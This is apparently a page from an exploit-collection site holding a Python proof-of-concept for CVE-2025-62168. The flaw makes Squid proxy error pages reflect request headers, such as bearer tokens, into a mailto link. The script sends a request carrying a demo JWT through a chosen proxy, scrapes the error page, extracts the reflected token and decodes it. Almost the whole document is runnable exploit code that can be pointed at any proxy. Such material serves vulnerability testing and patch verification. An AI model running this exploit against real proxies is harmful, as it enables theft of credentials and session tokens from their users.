4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-62168.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# krakhen.dev
# version 1.2.8
# CVE-2025-62168

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import aiohttp
import asyncio
import argparse
import json
import sys
from bs4 import BeautifulSoup

# ============================
# COLORS
# ============================
RED    = "\033[31m"
GREEN  = "\033[32m"
YELLOW = "\033[33m"
CYAN   = "\033[36m"
RESET  = "\033[0m"

def green(x): return GREEN + x + RESET
def red(x): return RED + x + RESET
def cyan(x): return CYAN + x + RESET
def yellow(x): return YELLOW + x + RESET


# ============================
# TEST TOKEN (demo only)
# ============================
JWT_TOKEN = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
    "ewogICJzdWIiOiAiMTIzNDU2Nzg5MCIsCiAgIm5hbWUiOiAia3Jha2hlbi5kZXYiLAog"
    "ICJhZG1pbiI6IHRydWUsCiAgImlhdCI6IDE1MTYyMzkwMjIKfQo."
    "LspWRdaIXcXllUuABCsYXRqBoKseG5vlb_YIW259aiU"
)

INJECTED_HEADER = {"X-Test-Leak": JWT_TOKEN}
UA = "krakhen.dev-cve-2025-62168-poc"


# ============================
# HTTP REQUEST → triggers Squid error page
# ============================
async def fetch_error_page(proxy, verbose):

    target_url = "http://nonexistent.krakhen-test.local/"

    if verbose:
        print(cyan("\n[DEBUG] Preparing request..."))
        print(cyan(f"[DEBUG] Proxy: {proxy}"))
        print(cyan(f"[DEBUG] Target URL: {target_url}"))
        print(cyan(f"[DEBUG] Injected header: X-Test-Leak: {JWT_TOKEN}"))
        print(cyan(f"[DEBUG] User-Agent: {UA}"))
        print()

    async with aiohttp.ClientSession(
        proxy=proxy,
        headers={
            "User-Agent": UA,
            **INJECTED_HEADER
        }
    ) as session:

        try:
            async with session.get(target_url, ssl=False) as resp:
                html = await resp.text()

                if verbose:
                    print(cyan("[DEBUG] Response headers:"))
                    for k, v in resp.headers.items():
                        print(cyan(f"    {k}: {v}"))
                    print()

                return html

        except Exception as e:
            print(red(f"[ERROR] Proxy request failed: {e}"))
            return ""


# ============================
# Parse mailto block from Squid error page
# ============================
def parse_mailto(html):
    soup = BeautifulSoup(html, "html.parser")
    tag = soup.find("a", href=lambda x: x and x.startswith("mailto:"))
    if not tag:
        return ""
    return tag["href"]


# ============================
# Extract leaked token from mailto
# ============================
def extract_token(mailto):

    # Decode the most relevant parts of the mailto body
    decoded = (
        mailto
        .replace("%0D%0A", "\n")
        .replace("%3A", ": ")
        .replace("%20", " ")
    )

    for line in decoded.split("\n"):
        if "X-Test-Leak" in line:
            return line.split("X-Test-Leak: ")[1].strip()

    return None


# ============================
# JWT Decoder (no signature validation)
# ============================
def decode_jwt(token):
    head, payload, sig = token.split(".")

    import base64

    def fix_padding(x: str) -> str:
        return x + "=" * ((4 - len(x) % 4) % 4)

    h_json = json.loads(base64.urlsafe_b64decode(fix_padding(head)))
    p_json = json.loads(base64.urlsafe_b64decode(fix_padding(payload)))

    return h_json, p_json, sig


# ============================
# Main logic (visual + verbose)
# ============================
async def run(proxy, verbose):

    print(green("------------------------------------------------------------"))
    print(green(" STEP 1 — Connecting to proxy..."))
    print(green("------------------------------------------------------------"))
    print(f" Proxy: {proxy}")

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 2 — Sending request with injected token..."))
    print(green("------------------------------------------------------------"))
    print(yellow(f" Injected Header: X-Test-Leak: {yellow(JWT_TOKEN[:40] + '...')}"))

    html = await fetch_error_page(proxy, verbose)

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 3 — Server responded, extracting error page..."))
    print(green("------------------------------------------------------------"))

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 4 — Parsing mailto block from Squid error page..."))
    print(green("------------------------------------------------------------"))

    # parser
    mailto_raw = parse_mailto(html)  # return string
    # token color inside mailto
    if JWT_TOKEN in mailto_raw:
        mailto_highlight = mailto_raw.replace(JWT_TOKEN, yellow(JWT_TOKEN))
    else:
        mailto_highlight = mailto_raw

    print(mailto_highlight)

    # extract real token from mailto_raw
    leaked_token = extract_token(mailto_raw)


    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 5 — TOKEN LEAK CONFIRMED"))
    print(green("------------------------------------------------------------"))
    print(red(f" {leaked_token}\n"))

    print(green("------------------------------------------------------------"))
    print(green(" STEP 6 — Decoding JWT token..."))
    print(green("------------------------------------------------------------"))

    h, p, s = decode_jwt(leaked_token)

    print(cyan("Header:"))
    print(json.dumps(h, indent=4))
    print()

    print(cyan("Payload:"))
    print(json.dumps(p, indent=4))
    print()

    print(cyan("Signature:"))
    print(s)
    print()

    if verbose:
        print(cyan("\n---------------- RAW HTML (DEBUG) ----------------"))
        print(html)
        print(cyan("--------------------------------------------------"))

    print(green("\n------------------------------------------------------------"))
    print(green(" DONE — PoC completed successfully."))
    print(green("------------------------------------------------------------"))


# ============================
# CLI
# ============================
if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2025-62168 — Squid Proxy token leak via error page header reflection.",
        epilog="Example:\n  python3 cve-2025-62168.py --proxy http://127.0.0.1:3128 --verbose",
        formatter_class=argparse.RawTextHelpFormatter
    )

    parser.add_argument(
        "--proxy",
        required=False,
        help="Proxy URL (e.g. http://127.0.0.1:3128)"
    )
    parser.add_argument(
        "--verbose",
        action="store_true",
        help="Enable technical debug output"
    )

    args = parser.parse_args()

    # If no arguments were provided → show help and exit gracefully
    if not args.proxy:
        parser.print_help()
        print("\n[!] Missing required argument: --proxy\n")
        sys.exit(1)

    asyncio.run(run(args.proxy, args.verbose))